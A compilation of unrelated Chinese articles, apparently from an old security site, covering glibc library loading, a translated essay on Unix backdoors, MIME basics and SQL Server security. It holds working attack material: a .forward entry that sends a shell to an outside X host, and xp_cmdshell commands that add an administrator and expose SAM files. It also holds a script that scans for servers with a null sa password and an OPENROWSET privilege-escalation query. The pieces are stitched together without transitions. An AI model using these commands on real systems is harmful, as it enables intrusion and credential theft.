在包括所有Linux系统的基于GNU glibc的系统中，程序启动时自动寻找的目录列表存储在文件/etc/ld.so.conf中。很多源于Red Hat的发行版一般在文件/etc/ld.so.conf中不包含/usr/local/lib。我认为这是个Bug，要在源于Red Hat的系统里运行很多程序都需要进行一个通用的“修复”，把/usr/local/lib加入/etc/ld.so.conf。如果只是想覆盖某个库里的若干函数，而想保留该库的其它部分，可以在/etc/ld.so.preload中输入要覆盖的库名（.o文件）；这些“预载入”的库会优先于标准库使用。通常这种预载入文件是用于紧急补丁的；发行版在发行时一般不会包含这样的文件。在程序启动时寻找所有这些目录太花时间，所以实际上使用了一个cache管理方法。程序ldconfig(8)缺省读入文件/etc/ld.so.conf，在动态连接目录里建立相应的符号连接（这样就遵循了标准约定），然后把cache写入/etc/ld.so.cache，这样就可以被其它程序使用了。所以一旦增加一个DLL，或删除一个DLL，或者DLL目录集发生改变，ldconfig就要运行一次；在安装库时，运行ldconfig通常是软件包管理程序需要执行的一个步骤。在启动时，程序使用动态加载程序来读入文件/etc/ld.so.cache，然后载入其所需的库。

各种环境变量可以控制这一过程，而且事实上也有允许覆盖此过程的环境变量（所以可以在某次特别的执行过程中临时替换某个不同的库）。在Linux下，环境变量LD_LIBRARY_PATH是一组用逗号隔开的目录，在查找标准目录集之前先查找这些库；这在调试新库或为特殊目的使用非标准库时很有用。变量LD_PRELOAD列出了覆盖标准集的函数所在的目标文件，就像/etc/ld.so.preload一样。

如果不采取特别的措施，允许用户控制动态连接库会对setuid/setgid程序造成灾难性的后果。因此在实现GNU glibc时，如果是setuid或setgid程序，将忽略这些变量（和其它类似的变量），或者严格限制这些变量所起的作用。GNU的glibc库通过检查程序的证明来确定其是否为setuid或setgid程序；如果uid和euid不同，或者gid和egid不同，则库就假设该程序为setuid/setgid程序（或者为其子程序），然后严格限制它控制连接的能力。如果载入GNU的glibc库，就可以看到这种情况；请特别阅读一下文件elf/rtld.c和sysdeps/generic/dl-sysdep.c。这就意味着如果使uid和gid等于euid和egid，再调用程序，这些变量就具有完全的效力。其它类Unix系统处理这些情况有所不同，但原因相同：一个setuid/setgid程序不应受到环境变量集的过分影响。


关于Linux系统的后门

这是一篇很好的文章,以前曾读过,但很匆忙.昨天静下心来细细品味,颇有收获.
由于水平所限,许多不确切的地方已经指出,希望你们不吝指教.还有,许多方法
理论上能够明白,实际操作尚有距离,希望大家以后能热烈讨论.

后门 (Beta 1)

Christopher Klaus 8/4/97

译者 iamtheguest

从早期的计算机入侵者开始,他们就努力发展能使自己重返被入侵系统的技术或后
门.本文将讨论许多常见的后门及其检测方法. 更多的焦点放在Unix系统的后门,同时
讨论一些未来将会出现的Windows NT的后门. 本文将描述如何测定入侵者使用的方法
这样的复杂内容和管理员如何防止入侵者重返的基础知识. 当管理员懂的一旦入侵者
入侵后要制止他们是何等之难以后, 将更主动于预防第一次入侵. 本文试图涉及大量
流行的初级和高级入侵者制作后门的手法, 但不会也不可能覆盖到所有可能的方法.

大多数入侵者的后门实现以下二到三个目的:

即使管理员通过改变所有密码类似的方法来提高安全性,仍然能再次侵入. 使再
次侵入被发现的可能性减至最低.大多数后门设法躲过日志, 大多数情况下即使入侵者
正在使用系统也无法显示他已在线. 一些情况下, 如果入侵者认为管理员可能会检测
到已经安装的后门, 他们以系统的 脆弱性作为唯一的后门, 重而反复攻破机器. 这也
不会引起管理员的注意. 所以在 这样的情况下，一台机器的脆弱性是它唯一未被注意
的后门.

密码破解后门
这是入侵者使用的最早也是最老的方法, 它不仅可以获得对Unix机器的访问, 而且可
以通过破解密码制造后门. 这就是破解口令薄弱的帐号. 以后即使管理员封了入侵者
的当前帐号,这些新的帐号仍然可能是重新侵入的后门. 多数情况下, 入侵者寻找口令
薄弱的未使用帐号,然后将口令改的难些. 当管理员寻找口令薄弱的帐号是, 也不会发
现这些密码已修改的帐号.因而管理员很难确定查封哪个帐号.

Rhosts + + 后门
在连网的Unix机器中,象Rsh和Rlogin这样的服务是基于rhosts文件里的主机名使用简
单的认证方法. 用户可以轻易的改变设置而不需口令就能进入. 入侵者只要向可以访
问的某用户的rhosts文件中输入"+ +", 就可以允许任何人从任何地方无须口令便能进
入这个帐号. 特别当home目录通过NFS向外共享时, 入侵者更热中于此. 这些帐号也成
了入侵者再次侵入的后门. 许多人更喜欢使用Rsh, 因为它通常缺少日志能力. 许多管
理员经常检查 "+ +", 所以入侵者实际上多设置来自网上的另一个帐号的主机名和
用户名,从而不易被发现.

校验和及时间戳后门
早期,许多入侵者用自己的trojan程序替代二进制文件. 系统管理员便依靠时间戳和系
统校验和的程序辨别一个二进制文件是否已被改变, 如Unix里的sum程序. 入侵者又发
展了使trojan文件和原文件时间戳同步的新技术. 它是这样实现的: 先将系统时钟拨
回到原文件时间, 然后调整trojan文件的时间为系统时间. 一旦二进制trojan文件与
原来的精确同步, 就可以把系统时间设回当前时间. sum程序是基于CRC校验, 很容易
骗过.入侵者设计出了可以将trojan的校验和调整到原文件的校验和的程序. MD5是被
大多数人推荐的,MD5使用的算法目前还没人能骗过.

Login后门

在Unix里,login程序通常用来对telnet来的用户进行口令验证. 入侵者获取login.c的
原代码并修改,使它在比较输入口令与存储口令时先检查后门口令. 如果用户敲入后门
口令,它将忽视管理员设置的口令让你长驱直入. 这将允许入侵者进入任何帐号,甚至
是root.由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问
的, 所以入侵者可以登录获取shell却不会暴露该帐号. 管理员注意到这种后门后, 便
用"strings"命令搜索login程序以寻找文本信息. 许多情况下后门口令会原形毕露.
入侵者就开始加密或者更好的隐藏口令, 使strings命令失效. 所以更多的管理员是
用MD5校验和检测这种后门的.

Telnetd后门
当用户telnet到系统, 监听端口的inetd服务接受连接随后递给in.telnetd,由它运行
login.一些入侵者知道管理员会检查login是否被修改, 就着手修改in.telnetd.
在in.telnetd内部有一些对用户信息的检验, 比如用户使用了何种终端. 典型的终端
设置是Xterm或者VT100.入侵者可以做这样的后门, 当终端设置为"letmein"时产生一
个不要任何验证的shell. 入侵者已对某些服务作了后门, 对来自特定源端口的连接产
生一个shell .

服务后门
几乎所有网络服务曾被入侵者作过后门. finger, rsh, rexec, rlogin, ftp, 甚至
inetd等等的作了的版本随处多是. 有的只是连接到某个TCP端口的shell,通过后门口
令就能获取访问.这些程序有时用刺娲□？ucp这样不用的服务,或者被加入inetd.conf
作为一个新的服务.管理员应该非常注意那些服务正在运行, 并用MD5对原服务程序做
校验.

Cronjob后门
Unix上的Cronjob可以按时间表调度特定程序的运行. 入侵者可以加入后门shell程序
使它在1AM到2AM之间运行,那么每晚有一个小时可以获得访问. 也可以查看cronjob中
经常运行的合法程序,同时置入后门.

库后门
几乎所有的UNIX系统使用共享库. 共享库用于相同函数的重用而减少代码长度. 一些
入侵者在象crypt.c和_crypt.c这些函数里作了后门. 象login.c这样的程序调用了
crypt(),当使用后门口令时产生一个shell. 因此, 即使管理员用MD5检查login程序,
仍然能产生一个后门函数.而且许多管理员并不会检查库是否被做了后门.对于许多入
侵者来说有一个问题: 一些管理员对所有东西多作了MD5校验. 有一种
办法是入侵者对open()和文件访问函数做后门. 后门函数读原文件但执行trojan后门
程序. 所以 当MD5读这些文件时,校验和一切正常. 但当系统运行时将执行trojan版本
的. 即使trojan库本身也可躲过
MD5校验. 对于管理员来说有一种方法可以找到后门, 就是静态编连MD5校验程序然后
运行.
静态连接程序不会使用trojan共享库.

内核后门
内核是Unix工作的核心. 用于库躲过MD5校验的方法同样适用于内核级别,甚至连静态
连接多不能识别. 一个后门作的很好的内核是最难被管理员查找的, 所幸的是内核的
后门程序还不是随手可得, 每人知道它事实上传播有多广.

文件系统后门

入侵者需要在服务器上存储他们的掠夺品或数据,并不能被管理员发现. 入侵者的文章
常是包括exploit脚本工具,后门集,sniffer日志,email的备分,原代码,等等. 有时为
了防止管理员发现这么大的文件, 入侵者需要修补"ls","du","fsck"以隐匿特定的目
录和文件.在很低的级别, 入侵者做这样的漏洞: 以专有的格式在硬盘上割出一部分,
且表示为坏的扇区. 因此入侵者只能用特别的工具访问这些隐藏的文件. 对于普通的
管理员来说, 很难发现这些"坏扇区"里的文件系统, 而它又确实存在.

Boot块后门
在PC世界里,许多病毒藏匿与根区, 而杀病毒软件就是检查根区是否被改变. Unix下,
多数管理员没有检查根区的软件, 所以一些入侵者将一些后门留在根区.

隐匿进程后门
入侵者通常想隐匿他们运行的程序. 这样的程序一般是口令破解程序和监听程序
(sniffer).有许多办法可以实现,这里是较通用的: 编写程序时修改自己的argv[]
使它看起来象其他进程名. 可以将sniffer程序改名类似in.syslog再执行. 因此
当管理员用"ps"检查运行进程时, 出现 的是标准服务名. 可以修改库函数致使
"ps"不能显示所有进程. 可以将一个后门或程序嵌入中断驱动程序使它不会在进程表
显现. 使用这个技术的一个后门
例子是amod.tar.gz :

http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html

也可以修改内核隐匿进程.

最流行的后门安装包之一是rootkit.
它很容易用web搜索器找到.从Rootkit的README
里,可以找到一些典型的文件:
z2 - removes entries from utmp, wtmp, and lastlog.
Es - rokstar's ethernet sniffer for sun4 based kernels.
Fix - try to fake checksums, install with same dates/perms/u/g.
Sl - become root via a magic password sent to login.
Ic - modified ifconfig to remove PROMISC flag from output.
ps: - hides the processes.
Ns - modified netstat to hide connections to certain machines.
Ls - hides certain directories and files from being listed.
du5 - hides how much space is being used on your hard drive.
ls5 - hides certain files and directories from being listed.

网络通行后门
入侵者不仅想隐匿在系统里的痕迹, 而且也要隐匿他们的网络通行. 这些网络通行后
门有时允许入侵者通过防火墙进行访问. 有许多网络后门程序允许入侵者建立某个端
口号并不用通过普通服务就能实现访问. 因为这是通过非标准网络端口的通行, 管理
员可能忽视入侵者的足迹. 这种后门通常使用TCP,UDP和ICMP, 但也可能是其他类型报
文.

TCP Shell 后门
入侵者可能在防火墙没有阻塞的高位TCP端口建立这些TCP Shell后门. 许多情况下,他
们用口令进行保护以免管理员连接上后立即看到是shell访问. 管理员可以用netstat
命令查看当前的连接状态, 那些端口在侦听, 目前连接的来龙去脉. 通常这些后门可
以让入侵者躲过TCP Wrapper技术. 这些后门可以放在SMTP端口, 许多防火墙允许
e-mail通行的.

UDP Shell 后门
管理员经常注意TCP连接并观察其怪异情况, 而UDP Shell后门没有这样的连接, 所以
netstat不能显示入侵者的访问痕迹. 许多防火墙设置成允许类似DNS的UDP报文的通
行. 通常入侵者将UDP Shell放置在这个端口, 允许穿越防火墙.

ICMP Shell 后门
Ping是通过发送和接受ICMP包检测机器活动状态的通用办法之一. 许多防火墙允许外
界ping它内部的机器. 入侵者可以放数据入Ping的ICMP包, 在ping的机器间形成一个
shell通道. 管理员也许会注意到Ping包暴风, 但除了他查看包内数据, 否者入侵者不
会暴露.

加密连接
管理员可能建立一个sniffer试图某个访问的数据, 但当入侵者给网络通行后门加密
后,就不可能被判定两台机器间的传输内容了.

解决
当后门技术越先进, 管理员越难于判断入侵者是否侵入后者他们是否被成功封杀.

评估
首先要做的是积极准确的估计你的网络的脆弱性, 从而判定漏洞的存在且修复之.许多
商业工具用来帮助扫描和查核网络及系统的漏洞. 如果仅仅安装提供商的安全补丁的
话,许多公司将大大提高安全性.

MD5基准线
一个系统(安全)扫描的一个重要因素是MD5校验和基准线. MD5基准线是在黑客入侵前
由干净
系统建立. 一旦黑客入侵并建立了后门再建立基准线, 那么后门也被合并进去了.一些
公司被入侵且系统被安置后门长达几个月.所有的系统备份多包含了后门. 当公司发现
有黑客并求助备份祛除后门时, 一切努力是徒劳的, 因为他们恢复系统的同时也恢复
了后门. 应该在入侵发生前作好基准线的建立.

入侵检测
随着各种组织的上网和允许对自己某些机器的连接,入侵检测正变的越来越重要.以前
多数入侵检测技术是基于日志型的. 最新的入侵检测系统技术(IDS)是基于实时侦听和
网络通行安全分析的. 最新的IDS技术可以浏览DNS的UDP报文, 并判断是否符合DNS协
议请求. 如果数据不符合协议, 就发出警告信号并抓取数据进行进一步分析. 同样的
原则可以运用到ICMP包, 检查数据是否符合协议要求, 或者是否装载加密shell会话.

从CD-ROM启动

一些管理员考虑从CD-ROM启动从而消除了入侵者在CD-ROM上做后门的可能性.这种方法
的问题是实现的费用和时间够企业面临的.

警告
由于安全领域变化之快, 每天有新的漏洞被公布, 而入侵者正不断设计新的攻击和安
置后门技术, 安枕无忧的安全技术是没有的.请记住没有简单的防御,只有不懈的努力!
( Be aware that no defense is foolproof, and that there is no substitute
for
diligent attention. 此句该如何翻译? )

-------------------------------------------------------------------------

you may want to add:

.forward Backdoor

On Unix machines, placing commands into the .forward file was also
a common method of regaining access. For the account ********username''
a .forward file might be constructed as follows:

\username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e
/bin/sh"

permutations of this method include alteration of the systems mail
aliases file (most commonly located at /etc/aliases). Note that
this is a simple permutation, the more advanced can run a simple
script from the forward file that can take arbitrary commands via
stdin (after minor preprocessing).

PS: The above method is also useful gaining access a companies
mailhub (assuming there is a shared a home directory FS on
&nbs>

the client and server).

> Using smrsh can effectively negate this backdoor (although it's quite
> possibly still a problem if you allow things like elm's filter or
> procmail which can run programs themselves...).

你也许要增加:

.forward后门
Unix下在.forward文件里放入命令是重新获得访问的常用方法. 帐户'username'
的
.forward可能设置如下:

\username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e
/bin/sh"

这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases). 注意这只
是一种简单的变换. 更为高级的能够从.forward中运行简单脚本实现在标准输入执行
任意命令(小部分预处理后).
>利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或
procmail>类程序, 很有可能还有问题 ......)

你也许能用这个"特性"做后门:

当在/etc/password里指定一个错误的uid/gid后, 大多数login(1)的实现是不能检查
出这个错误
的uid/gid, 而atoi(3)将设uid/gid为0, 便给了超级用户的权利.

例子:

rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh
在Linux里,这将把用户rmartin的uid设为0.

本文所有权归作者所有！如要转载请保持文章完整性
摘自:绿色兵团

全文:ccpi.gov.cn


关于MIME的介绍

用户可以通过使用MIME以设置服务器传送多媒体如声音和动画信息，这一切可能通过CGI脚本来进行。在下面的文章中，你可以了解到一此关于MIME和关于在网络上使用MIME的知识。

MIME是一种技术规范，它原来是用于电子邮件的，现在也可以用于浏览器上，传送可以供浏览器识别的信息，关于MIME的知识并是十分难懂的，有一些基本的计算机概念就可以理解了，但如果要进一步使用，就必须注意内容。实际上，我们在上网的时候就已经接触到了MIME，只是浏览器和服务器在底层实现了。

MIME有时候被错误地理解为多媒体Internet邮件扩展（Multimedia Internet Mail Extensions），这是一个错误，但是MIME在网上经常用于多媒体应用程序，所以人们以为这是它是多媒体邮件扩展，而实际上它应该被称为多用途Internet邮件扩展（Multipurpose Internet Mail Extensions），这一点一定要注意，因为有时候内容里根本没有非文本成份。

MIME对于邮件系统的扩展是巨大的，因为在MIME出现以前，信件内容如果要包括声音和动画，就必须把它变为ASCII码或把二进制的信息变成可以传送的编码标准，而接收方必须经过解码才可以获得声音和图画信息。MIME提供了一种可以在邮件中附加多种不同编码文件的方法。这与原来的邮件是大大不同的。而现在MIME已经成为了HTTP协议标准的一个部分。

MIME是服务器通知客户机传送文件是什么类型的主要方法，客户机浏览器也通过MIME告诉服务器它的参数。在网上，如果接收到的文件没有MIME头，就默认它为HTML格式。但这样也不好，因为当MIME的包头是text/plain时，浏览器将直接显示而不关心它的什么字体，颜色之类的参数，这样显示出来的内容可不是很好看呀。

MIME头是什么样子要看它是用在电子邮件中还是用在浏览器上，两者内容可能有所不同。对于邮件头来说，版本号，内容类型声明，编码方式，内容描述是必不可少的。这是用于邮件头中的格式，在下面，我们将重点说到在HTTP中传送MIME头，这时MIME头要简单一些。

下例是一个邮件的标准MIME头：

Mime-Version: 1.0 //版本号：1.0

Content-Type: multipart/mixed; boundary="IMA.Boundary.750407228" //内容类型是多种的

--IMA.Boundary.750407228

Content-Type: text/plain; charset=US-ASCII //内容类型：文本，字符是ASCII的

Content-Transfer-Encoding: 7bit //编码方式：7位

Content-Description: cc:Mail note part

在用于浏览器时，用户不需要知道那么多的信息，所以MIME头就比较简单了。在访问一个网页时，浏览器和服务器之间产生一个会话，作为请求内容的一部分，浏览器发送它能够理解的MIME类型的描述，这就告诉服务器，浏览器除了网页外还可以支持什么，服务器对这个信息一般不作为什么修改。

服务器通过发向客户机的MIME头通知客户浏览器内容是什么，我们看看下面这个头：

Content-type: text/html

在实现的时候，一定要注意MIME头后要跟一个空行，不然这个头会被浏览器忽略，这个头会被当作文本显示出来。当服务器传送GIF图象时，头会如下：

Content-type: image/gif

Content-transfer-encoding: BINARY

通常的MIME内容类型并不起什么作用，浏览器可以自己识别内容的类型，但是如果您使用一些另外的类型，这个问题可就大了，如果你使用了text/postscript，那浏览器会显示下载窗口，或就把这个东西显示出来，那可就不好办了。下面我们介绍一下标准MIME类型。

Text. 文本，它用于描述不同类型的文本，包括通常的文本，PostScript和HTML，虽然HTML不是一个可能的子类型。

Multipart. 多类型，指出此信息包括多种信息，不止一种类型。

Message. 用于标记不同类型的消息。

Application. 应用类型。

Image. 图象，用于标明图形文件。

Audio. 声音，用于标明声音文件。

Video. 影象，用于标明动画文件。

每个MIME类型有不同的子类型，实际上，您不可能单独使用类型而不使用子类型，只有一个例外，这就是"telnet"类型。IANA提供45种类型/子类型对支持。当然，标准是开放的，允许用户自定义自己的类型，用户自定义类型要以“X-”开始以示区别。在添加新的类型时，一定要注意，尽量使用已有的类型达到自己的目的。如果非要添加新的类型，一定要保证服务器一方支持这种类型，也要保证客户端也能够通过一些应用程序（如插件）来识别新类型。如果您的网站的访问者很广，不要轻易使用新类型，要么使用已有的类型，或者向IANA提出注册请求。


关于SQL SERVER的一些安全问题

BY XUNDI<安全焦点>
xundi1@21cn.com
www.xfocus.org

目前关于NT服务器的入侵，有很多种方法，如对IIS的漏洞进行利用，但
大家不知道注意到没有，其实通过与NT服务器相关联的SQL数据库服务器
的例子也是很有比例的一种手段。大家可以参看下面的一个新闻报道：
http://www.vnunet.com/News/1110938。
Herbless入侵破坏的一些站点，如legoland.co.uk站点就是通过SQL服务器
的入侵而获得对系统的控制权而破坏的。所以对SQL服务器的保护是必不可
少的，这里我整理了一些漏洞供大家来参考，见笑，见笑。

----------------------------------------------------------------
我们先来看看SQL服务程序支持的网络协议库:

----------------------------------------------------------------
| SQL Server Network Protocol Libraries |
----------------------------------------------------------------
|Protocol library| 可能存在的漏洞 | 是否加密 |
----------------------------------------------------------------
|Named pipes | --使用NT SMB端口(TCP139,UDP137, | 否 |
|(有名管道) | 138）来进行通信，这些可以被通 | |
| | 的防火墙控制，但如果内部网络可 | |
| | 随意访问的话也是一个不小的缺陷 | |
| | --用户名字，密码和数据没有进行加 | |
| | 传输，任何人可以通过SNIFFER来 | |
| | 进行数据捕获。 | |
----------------------------------------------------------------
|IP Sockets | --默认状态下开1433口，你可以使用| 否 |
| | 扫描器来查看这个端口。 | |
| | 可以被SNIFFER截获数据。 | |
----------------------------------------------------------------
|Multi-Protocol | --客户端需要支持NT RPCs;在不同 | 是 |
| | 种类的环境中可能引起问题。 | |
| | --默认情况下使用TCP随机端口，但| |
| | 防火墙进行端口图固定实现（参 | |
| | 看KB Q164667）。 | |
| | --需要注意加密选项是否选择，默 | |
| | 是不选择此选项的。 | |
----------------------------------------------------------------
|NWLink | --存在被SNIFFER截获数据的危险 | 否 |
----------------------------------------------------------------
|AppleTalk (ADSP)| --存在被SNIFFER截获数据的危险 | 否 |
----------------------------------------------------------------
|Banyan Vines | --存在被SNIFFER截获数据的危险 | 否 |
----------------------------------------------------------------

一般的推荐使用是：如果你能在Integrated (NT) Security上使用Named Pipes 或者
Multi-protocol，那你就使用这些协议库，如果可能，尽量使用Multi-protocol
和使能加密选项。如果你上面几个不能使用，那就使用IP Sockets协议，并改变
其默认的端口并随时检查系统保证无任何SNIFFER存在。并且，考虑使用一WEB服
务或者COM组件作为应用程序的business object layer，并在中间层和SQL服务程
序中使用安全通道(secure channel)。有不少第三方的产品可以加密这方面的通信。

-----------------------------------------------------------------------
下面再讲一下SQL SERVER的各种安全模式和它们怎样进行工作？

安全模式定义了一些SQL SERVER是怎样认证要使用它们服务的用户，请看下面
SQL Server 6.5的安全模式和在SQL Server 7.0做了改变的一些描述和区别：

-------------------------------------------------------------------
|安全模式 | SQL Server 6.5 | SQL Server 7.0改变地方 |
-------------------------------------------------------------------
|Standard | --登陆定义在SQL SERVER里| --单独的标准模式在SQL SERVER|
|标准模式 | 而且给定密码。 | 没有使用了。 |
| | --SQL SERVER的登录帐户与| |
| | WINDOW NT分开 | |
-------------------------------------------------------------------
|Integrated |-使用安全管理器SQL的帐 | --在这里成为"Windows NT only"|
|综合模式 | 户。 | 模式。 |
| |-用户在连接到SQL SERVER| --只工作在NT系统下，在WIN9X不|
| | 不需要特定分开LOGIN和 | 支持。 |
| | 密码。 | |
| |-密码从不存储在应用程序| --可以直接结合到NT的组中便于 |
| | 中，并不以明文在网络中| 管理，（注意有一BUILTIN组在|
| | 传输。 | 本地系统上产生). |
| |-SQL SERVER可以使用NT的| |
| | 的认证方式来认证用户并| |
| | 可以使用如帐户过期等。| |
| |-需要Named Pipe或Multi-| |
| | Protocol库。 | |
--------------------------------------------------------------------
|Mixed |-提供上面的方式的一些特| --成为SQL SERVER和WINDOWS NT |
|混合性方式 | 征但有后退的东西是客户| 模式。 |
| | 端不能建立可信任连接。| --尽量使用WINDOW NT ONLY模式 | |
--------------------------------------------------------------------

登录只不过是第一步，一旦用户登录，用户必须访问独立的数据库，要使上面
的成立，就必须在sysusers表里存在一表目给用户用的每个数据库。所以安全
请你注意在你的数据库中是否存在"guest"帐户和保证不会在你不注意的时候给
某些人访问你的数据库。

详细的大家可以参看微软的站点：

http://www.microsoft.com/technet/SQL/Technote/secure.asp

---------------------------------------------------------------------

关于SQL SERVER存在的一些安全问题：

存在"sa"帐户，密码就为空，而且这个密码是SQL SERVER安全模块成员，我们就
可以通过xp_cmdshell stored procedure(扩展存储过程)来进行命
令操作，如：

Xp_cmdshell "net user testuser UgotHacked /ADD"
然后在：
Xp_cmdshell "net localgroup Administrators testuser /ADD"

这样攻击者就成功的在SQL SERVER上增加了一个用户。

当然远程的话，一般需要有1433口开着，通过MYSQL 客户端进行连接。

当然你也可以使用：

Xp_cmdshell "rdisk /s-"

的方法，这样就在\winnt\repair目录里重建了信息而不提示用户。然后
在SAM备份以后，攻击者可以建立一个SMB连接到共享或者建立一个连接：

Xp_cmdshell "net share getsam=c:\winnt\repair"

利用共享获得这个文件，然后在使用l0phtcrack来跑吧。如果SMB端口被防火墙
控制了，或者关闭了，攻击者也可以拷贝sam._文件到WEB目录进行匿名浏览器
下载。如果人家没有开IIS，你何不用tftp呢.

OK，通过这台被控制的SQL SERVER服务器，攻击者可以通过它来查找网络内部
其他机器来扩大战果，下面是一个SQL脚本来列举网络中其他SQL SERVER存在
空帐户'sa'的示例：

-----------------------------------------------------------------------

-- Create temp table to store enumerated servers

SET NOCOUNT ON

CREATE TABLE #temp (shelldump varchar(255))

INSERT #temp EXEC xp_cmdshell 'osql -L'

DECLARE @current_server varchar(255), @conn_string varchar(255)

DECLARE sql_cursor CURSOR FOR SELECT * FROM #temp

OPEN sql_cursor FETCH NEXT FROM sql_cursor INTO @current_server

-- Loop through potential targets and check for null sa accounts

-- If target is vulnerable, version information will be displayed

WHILE @@FETCH_STATUS = 0

BEGIN

If @current_server <> 'Servers:'

BEGIN

SELECT @current_server = rtrim(ltrim(@current_server))

SELECT @conn_string = 'exec xp_cmdshell ''osql -S' + @current_server + ' -Usa -P -Q "select @@version"'''

PRINT 'Attempting connection to server: ' + @current_server

EXECUTE (@conn_string)

PRINT '====================================================================='

END

FETCH NEXT FROM sql_cursor INTO @current_server

END

--Clean up

CLOSE sql_cursor

DEALLOCATE sql_cursor

DROP TABLE #TEMP

----------------------------------------------------------------------

当然有些人也可能关闭xp_cmdshell extended stored procedure(扩展存储过程)，
我们也可以使用下面的方法：

xp_regread 'HKEY_LOCAL_MACHINE', 'SECURITY\SAM\Domains\Account', 'F'

如果MSSqlserver 服务在本地系统帐户下运行，并且如果系统上没有安装syskey,上面
的调用就可以返回注册表中加密的密码或者SID。

--------------------------------------------------------------------------

另一个漏洞，是关于adhoc heterogenous queries 来进行权利的提升，请看下面微软
的描述：http://www.microsoft.com/technet/security/bulletin/fq00-014.asp

关于上面的漏洞，可以使用下面的xploit来获得权利的提升：

SELECT * FROM OPENROWSET('SQLOLEDB','Trusted_Connection=Yes;Data Source=myserver',
'SET FMTONLY OFF execute master..xp_cmdshell "dir c:\"')

这是大家比较喜欢的一种可以执行其他命令，自己想吧。

---------------------------------------------------------------------------

还有就是最近的一个漏洞：Extended Stored Procedure Parameter Parsing (扩展存储
过程参数解析)的漏洞，详细信息在这个URL有介绍：
http://www.microsoft.com/technet/security/bulletin/ms00-092.asp。

起主要问题是在MSD中提供一个API函数srv_paraminfo(),它是用来扩展存储过程调用时
解释深入参数的，如:

exec <存储过程名> <参数1>, <参数2>, ...
如要查询“c:\winnt”的目录树，可以如下表达：
exec xp_dirtree 'c:\winnt'

但没有检查各个参数的长度，传递相当长的字符串，就存在了覆盖其他堆栈
参数的可能导致缓冲溢出。

目前已经知道的过程如下：
目前已知受影响的扩展存储过程如下：

1、xp_peekqueue (xpqueue.dll)
xp_printstatements (xprepl.dll)

给第一个参数传递超长的字符串会覆盖异常处理程序所保存的返回地址。

2、xp_proxiedmetadata (xprepl.dll)

该存储过程使用4个参数。给第二个参数传递超长的字符串会覆盖异常处
理程序所保存的返回地址。

3、xp_SetSQLSecurity (xpstar.dll)

该存储过程使用4个参数。给第三个参数传递超长的字符串会使整个SQL
Server进程立即终止。

4、xp_displayparamstmt(xprepl.dll)
xp_enumresultset(xprepl.dll)
xp_showcolv (xprepl.dll)
xp_updatecolvbm (xprepl.dll)

给第一个参数传递超长的串将导致非法操作并覆盖异常处理程序所保存的返
回地址。

这里告诉大家一个技巧性的东西，如果想要知道这些扩展存储过程调用了那写dll
文件，你可以如下操作，如：

select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and o.name = 'xp_peekqueue'

这样你就可以获得调用这个扩展存储过程的DLL了，如果微软没有出补丁的话，你就
暂时把这个DLL文件改名吧，当然有些DLL文件调用几个扩展存储过程，不能盲目更改，
否则导致其他的也不能使用，你需要使用下面的操作来知道DLL调用那些扩展存储过程：

select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and c.text = 'xpqueue.dll'

幸好微软出了补丁，你可以到下面的地方找到，不用一个一个找DLL程序了，呵呵：

http://support.microsoft.com/support/sql/xp_security.asp

这个漏洞@stake发现并提供演示的测试代码，大家可在这里找到：

http://www.atstake.com/research/advisories/2000/sqladv2-poc.c

--------------------------------------------------------------------------

OK，当然SQL SERVER也有一些其他漏洞，相对轻微些，如ISS发现的管理员
LOGIN ID存储在注册表中，其加密的方法比较简单，很容易获得，详细情况
请看：http://xforce.iss.net/alerts/advise45.php3。大家可以到其他
地方找找。

---------------------------------------------------------------------

一些对SQL SERVER系统的安全建议：

--保证打上最新的安全补丁，如下：
Windows NT 4.0 - Service Pack 6a

SQL Server 6.5 - Service Pack 5a

SQL Server 7.0 - Service Pack 2. (Various hotfixes - check
http://www.microsoft.com/download )

SQL Server 2000 - Hotfix S80233i.exe (Intel)
当然大家要密切注意微软的安全公告。

--不要在IP sockets使用端口1433，如果你使用Multi-protocol也请
修改端口。

--不要把'sa'密码嵌入到任意应用程序如VB/DELPHI apps里，或者一
global.asa文件里，因为"sa"是SQL Server 的一个默认密码，其权限
类似与WINDOWS NT系统里的管理员帐户，而且密码为空。

--改变'sa'和'probe'帐户的密码。

--保证SQL SERVER的错误记录在NTFS系统上。

--如果你不需要xp_cmdshell( use sp_dropextendedproc 'xp_cmdshell' )
就不要把xp_cmdshell extended stored proc(扩展存储过程) 留在服务
器上。在任何isql窗口中输入：
use master
sp_dropextendedproc 'xp_cmdshell'

--丢弃不需要OLE自动存储过程，当然Enterprise Manager中的某些特征也
会不能使用，这些过程包括如下：

Sp_OACreate Sp_OADestroy

Sp_OAGetErrorInfo Sp_OAGetProperty

Sp_OAMethod Sp_OASetProperty

Sp_OAStop

--去掉不需要的注册表访问过程，如下：

Xp_regaddmultistring

Xp_regdeletekey

Xp_regdeletevalue

Xp_regenumvalues

Xp_regread

Xp_regremovemultistring

Xp_regwrite

--去掉其他系统存储过程，如果你认为你觉得你还有威胁，当然
要小心Drop这些过程，你可以在测试机器上测试，保证你正常的
系统能完成工作，这些过程包括：

sp_bindsession sp_cursor sp_cursorclose
sp_cursorfetch sp_cursoropen sp_cursoroption
sp_getbindtoken sp_GetMBCSCharLen sp_IsMBCSLeadByte
sp_OACreate sp_OADestroy sp_OAGetErrorInfo
sp_OAGetProperty sp_OAMethod sp_OASetProperty
sp_OAStop sp_replcmds sp_replcounters
sp_repldone sp_replflush sp_replstatus
sp_repltrans sp_sdidebug xp_availablemedia
xp_cmdshell xp_deletemail xp_dirtree
xp_dropwebtask xp_dsninfo xp_enumdsn
xp_enumerrorlogs xp_enumgroups xp_enumqueuedtasks
xp_eventlog xp_findnextmsg xp_fixeddrives
xp_getfiledetails xp_getnetname xp_grantlogin
xp_logevent xp_loginconfig xp_logininfo
xp_makewebtask xp_msver xp_perfend
xp_perfmonitor xp_perfsample xp_perfstart
xp_readerrorlog xp_readmail xp_revokelogin
xp_runwebtask xp_schedulersignal xp_sendmail
xp_servicecontrol xp_snmp_getstate xp_snmp_raisetrap
xp_sprintf xp_sqlinventory xp_sqlregister
xp_sqltrace xp_sscanf xp_startmail
